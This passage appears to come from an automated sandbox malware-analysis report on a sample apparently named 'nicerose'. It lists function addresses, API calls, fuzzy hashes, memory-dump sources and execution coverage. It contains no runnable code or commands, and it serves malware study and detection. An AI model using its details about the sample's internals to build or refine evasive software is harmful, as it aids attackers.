                                                                                    • Instruction ID: 5c37402978a73c428cfe4ca3820c1c35cd504a1dc335fc8e2b976015e693ec28
                                                                                    • Opcode Fuzzy Hash: 773413af2cf1c0e342a43220ac90fc1fde8f6e238b74301a36857e4693094574
                                                                                    • Instruction Fuzzy Hash: 60411B71E402589BDB62EB68CC84BEAB7FDAF18301F4044E5A548E7251DBB49F84CF50
                                                                                    Function 02C48B8F Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ___BuildCatchObject.LIBVCRUNTIME ref: 02C48BA6
                                                                                      • Part of subcall function 02C491DE: ___BuildCatchObjectHelper.LIBVCRUNTIME ref: 02C4920D
                                                                                      • Part of subcall function 02C491DE: ___AdjustPointer.LIBCMT ref: 02C49228
                                                                                    • _UnwindNestedFrames.LIBCMT ref: 02C48BBD
                                                                                    • ___FrameUnwindToState.LIBVCRUNTIME ref: 02C48BCF
                                                                                    • CallCatchBlock.LIBVCRUNTIME ref: 02C48BF3
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
                                                                                    • String ID:
                                                                                    • API String ID: 2901542994-0
                                                                                    • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                    • Instruction ID: a8be7f323ab748a5f0586a5522e3b7efb6527bdd27b4ce80f1fca96c0129354b
                                                                                    • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                                                                                    • Instruction Fuzzy Hash: 6B01C232400109BBCF126F55CD44EEB3BAAEF89754F054214FE1866120DB76E5A1EFA0
                                                                                    Function 02C4825D Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 02C4825D
                                                                                    • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 02C48262
                                                                                    • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 02C48267
                                                                                      • Part of subcall function 02C49766: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 02C49777
                                                                                    • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 02C4827C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                                                                                    • String ID:
                                                                                    • API String ID: 1761009282-0
                                                                                    • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                                                    • Instruction ID: 8c8cf9cc1e0d7d7c27382308e6dabdc48d66f2a4a1b4a6405fc734f44449915b
                                                                                    • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                                                    • Instruction Fuzzy Hash: 64C04804940A61542CB03EF62A04AEF53570EA27C9BC02BD5CDA017912CE2A0A0E7EB6
                                                                                    Function 02C1991A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __EH_prolog.LIBCMT ref: 02C1991F
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 02C199BB
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Exception@8H_prologThrow
                                                                                    • String ID: OE
                                                                                    • API String ID: 3222999186-2506519113
                                                                                    • Opcode ID: fe1b7685708ab651bcf0735ee0d7b313b9460d78bb97c14bdd2e97ece23dd4dd
                                                                                    • Instruction ID: 12f2a64112c1dfbb226442525b4a1dba66fd1ad13fa09c99614e54c0890e90fd
                                                                                    • Opcode Fuzzy Hash: fe1b7685708ab651bcf0735ee0d7b313b9460d78bb97c14bdd2e97ece23dd4dd
                                                                                    • Instruction Fuzzy Hash: 7BB182729001489BCB14FBA0DC97EED777AAF16314F504199E406A71E0EF349B49EF90
                                                                                    Function 02C540B9 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __freea
                                                                                    • String ID: H"G$H"GH"G
                                                                                    • API String ID: 240046367-3036711414
                                                                                    • Opcode ID: b1970d778bfed013c121080849bbe9586b633a831c8194a1b60adb1082fc570a
                                                                                    • Instruction ID: 03af4f39607d14265a46812141050c4c3a586a8cb789b9df6637a03b303e855b
                                                                                    • Opcode Fuzzy Hash: b1970d778bfed013c121080849bbe9586b633a831c8194a1b60adb1082fc570a
                                                                                    • Instruction Fuzzy Hash: 98413671A001319FCB399F65CC40AAF77A5AF95760B140125EC18DB290EF30DAC0DB99
                                                                                    Function 02C5D6C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02C56CB1: _free.LIBCMT ref: 02C56CE8
                                                                                      • Part of subcall function 02C56CB1: _abort.LIBCMT ref: 02C56D2F
                                                                                      • Part of subcall function 02C5D7E3: _abort.LIBCMT ref: 02C5D815
                                                                                      • Part of subcall function 02C5D7E3: _free.LIBCMT ref: 02C5D849
                                                                                    • _free.LIBCMT ref: 02C5D73C
                                                                                    • _free.LIBCMT ref: 02C5D772
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free$_abort
                                                                                    • String ID: pF
                                                                                    • API String ID: 195396716-2973420481
                                                                                    • Opcode ID: 97d7db50b82cccbee5169bb68c5bf7844dd74d9bc7eda6e9766878cece535fa3
                                                                                    • Instruction ID: c22153e3595c800b37ea4670aaee9994d51047dae450943e8b9bc00d01774d15
                                                                                    • Opcode Fuzzy Hash: 97d7db50b82cccbee5169bb68c5bf7844dd74d9bc7eda6e9766878cece535fa3
                                                                                    • Instruction Fuzzy Hash: EB31D331900228AFDB11DF69D840BADBBE5EF81361F210099DC059B2A0EB32DEC1DF49
                                                                                    Function 02BB1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 0d73d483df0292465d2eb7e0ed74baf81beb243f9bb7afe5804a87d0e01a1069
                                                                                    • Instruction ID: b13295718d4d10e7640dcbfd0dff0fd041d39ac70547f562697cd95d05eda031
                                                                                    • Opcode Fuzzy Hash: 0d73d483df0292465d2eb7e0ed74baf81beb243f9bb7afe5804a87d0e01a1069
                                                                                    • Instruction Fuzzy Hash: 4FA1D6A67306000BE71AAA7D9CA43FDB386DF84225F2846FED11DCB385DBE4D9518690
                                                                                    Function 02BB9474 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02BB9562), ref: 02BB94FA
                                                                                    • GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02BB9562), ref: 02BB9500
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DateFormatLocaleThread
                                                                                    • String ID: yyyy
                                                                                    • API String ID: 3303714858-3145165042
                                                                                    • Opcode ID: c76e18c2050ed84e3427ae0995687e2f6cc63f2b9c02c3bab636f2197269d9ad
                                                                                    • Instruction ID: fd1139c0988bee5a7bedb61f586ae0170cafd825891febdbc38c94014790d80f
                                                                                    • Opcode Fuzzy Hash: c76e18c2050ed84e3427ae0995687e2f6cc63f2b9c02c3bab636f2197269d9ad
                                                                                    • Instruction Fuzzy Hash: 7C217C71A406189FDB12DFA8C891AFAB3B9EF48710F4100E5FA45E7252D6B0DE04CF61
                                                                                    Function 02C4B941 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • @_EH4_CallFilterFunc@8.LIBCMT ref: 02C4BA06
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CallFilterFunc@8
                                                                                    • String ID: @F$@F
                                                                                    • API String ID: 4062629308-3436687868
                                                                                    • Opcode ID: 01fc5d24cbcc55c590743250a7815fc602d781154dc714b2f4e2244749786215
                                                                                    • Instruction ID: 2c8451df1894e1a00c420a8716743be655a9e21c3d10b72f0aad1156a8f218d1
                                                                                    • Opcode Fuzzy Hash: 01fc5d24cbcc55c590743250a7815fc602d781154dc714b2f4e2244749786215
                                                                                    • Instruction Fuzzy Hash: 54210B71E142009ADB286B349C0576F37A29F9133CF28431AE8759B2E0EF74DE42DE46
                                                                                    Function 02C4BD80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • @_EH4_CallFilterFunc@8.LIBCMT ref: 02C4BE48
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CallFilterFunc@8
                                                                                    • String ID: @F$@F
                                                                                    • API String ID: 4062629308-3436687868
                                                                                    • Opcode ID: 5427aaeeb1dd16046c7ffdb0152beac211c34e67c25787d2885becd2e811340c
                                                                                    • Instruction ID: dbb6205e45631cdaf6d9dcfd1b41f5cca94f6fb6394ff51e5e6e91eefb5f80f9
                                                                                    • Opcode Fuzzy Hash: 5427aaeeb1dd16046c7ffdb0152beac211c34e67c25787d2885becd2e811340c
                                                                                    • Instruction Fuzzy Hash: 2B21F571E106508BCB186B689C0176F72925B8533CF284359E5215B2E4EF78DE429A56
                                                                                    Function 02BC818C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    • FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02BC8216), ref: 02BC81F8
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressProc$CacheFlushInstruction
                                                                                    • String ID: FlushInstructionCache$Kernel32
                                                                                    • API String ID: 3811539418-184458249
                                                                                    • Opcode ID: 2e0551632d91a26fc0e753ce1bc68b528a2538d9d9fa02644b488c73fa8df5f2
                                                                                    • Instruction ID: ce1750ad2c185e13a3de0b0dda6e39319bc48fb8a58658b01012bd4176451d00
                                                                                    • Opcode Fuzzy Hash: 2e0551632d91a26fc0e753ce1bc68b528a2538d9d9fa02644b488c73fa8df5f2
                                                                                    • Instruction Fuzzy Hash: F901AD75640704AFEB12EFA4DC12FAE77EDFB49B10FA144A4B608D7A04C6B4AD108B24
                                                                                    Function 02C5D7E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02C56CB1: _free.LIBCMT ref: 02C56CE8
                                                                                      • Part of subcall function 02C56CB1: _abort.LIBCMT ref: 02C56D2F
                                                                                    • _abort.LIBCMT ref: 02C5D815
                                                                                    • _free.LIBCMT ref: 02C5D849
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _abort_free
                                                                                    • String ID: pF
                                                                                    • API String ID: 4174849134-2973420481
                                                                                    • Opcode ID: 27a83d5959e399e126d66fc0e9bc80bad5e8b5edace6ebc33031c21e2b203fc3
                                                                                    • Instruction ID: da44aaf1997df5237f3e8e03a1eb4f503fe486c80c5ec90e795b2311e6cf55c8
                                                                                    • Opcode Fuzzy Hash: 27a83d5959e399e126d66fc0e9bc80bad5e8b5edace6ebc33031c21e2b203fc3
                                                                                    • Instruction Fuzzy Hash: 8701C475D01B319BCB35AF598800319B7A0BF84F21B18411ADD2563280DB38EAC29FCE
                                                                                    Function 02C445E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 02C445F0
                                                                                      • Part of subcall function 02C44559: std::exception::exception.LIBCONCRT ref: 02C44566
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 02C445FE
                                                                                      • Part of subcall function 02C44EB1: ___crtInitializeCriticalSectionEx.LIBCPMT ref: 02C44EBE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CriticalException@8InitializeSectionThrow___crtstd::exception::exceptionstd::invalid_argument::invalid_argument
                                                                                    • String ID: 8:G
                                                                                    • API String ID: 64778976-405301104
                                                                                    • Opcode ID: 54ad04d6290442f5c1206a837fb498cdab3685317d9be234a4d03e3ffe6d53cd
                                                                                    • Instruction ID: 9c3510f72c81b9e76c9598ba939fd6bab69ad80556539a6fd5332a2cedfccb5e
                                                                                    • Opcode Fuzzy Hash: 54ad04d6290442f5c1206a837fb498cdab3685317d9be234a4d03e3ffe6d53cd
                                                                                    • Instruction Fuzzy Hash: 50E0D836D00124778B18B67DBC04ADF73AD9A452207501433EA14E3081FFA49D4649DE
                                                                                    Function 02BCAD64 Relevance: 5.1, APIs: 4, Instructions: 72COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • IsBadReadPtr.KERNEL32(?,00000004), ref: 02BCAD98
                                                                                    • IsBadWritePtr.KERNEL32(?,00000004), ref: 02BCADC8
                                                                                    • IsBadReadPtr.KERNEL32(?,00000008), ref: 02BCADE7
                                                                                    • IsBadReadPtr.KERNEL32(?,00000004), ref: 02BCADF3
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Read$Write
                                                                                    • String ID:
                                                                                    • API String ID: 3448952669-0
                                                                                    • Opcode ID: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
                                                                                    • Instruction ID: c0ca22d21f1e75fe34c4e253624e4da2811b9af59e6f889bc99a52d370de660d
                                                                                    • Opcode Fuzzy Hash: 234bf798fc81b872ff5a85eead7648d9943be952996fa50f1c2af5a655f4751e
                                                                                    • Instruction Fuzzy Hash: E721A2B1A4021D9BDB11DF69CC80BEE77A9EF44312F104196EE1197344EB74DD119AA0

                                                                                    Execution Graph

                                                                                    Execution Coverage:4%
                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                    Signature Coverage:3.8%
                                                                                    Total number of Nodes:1518
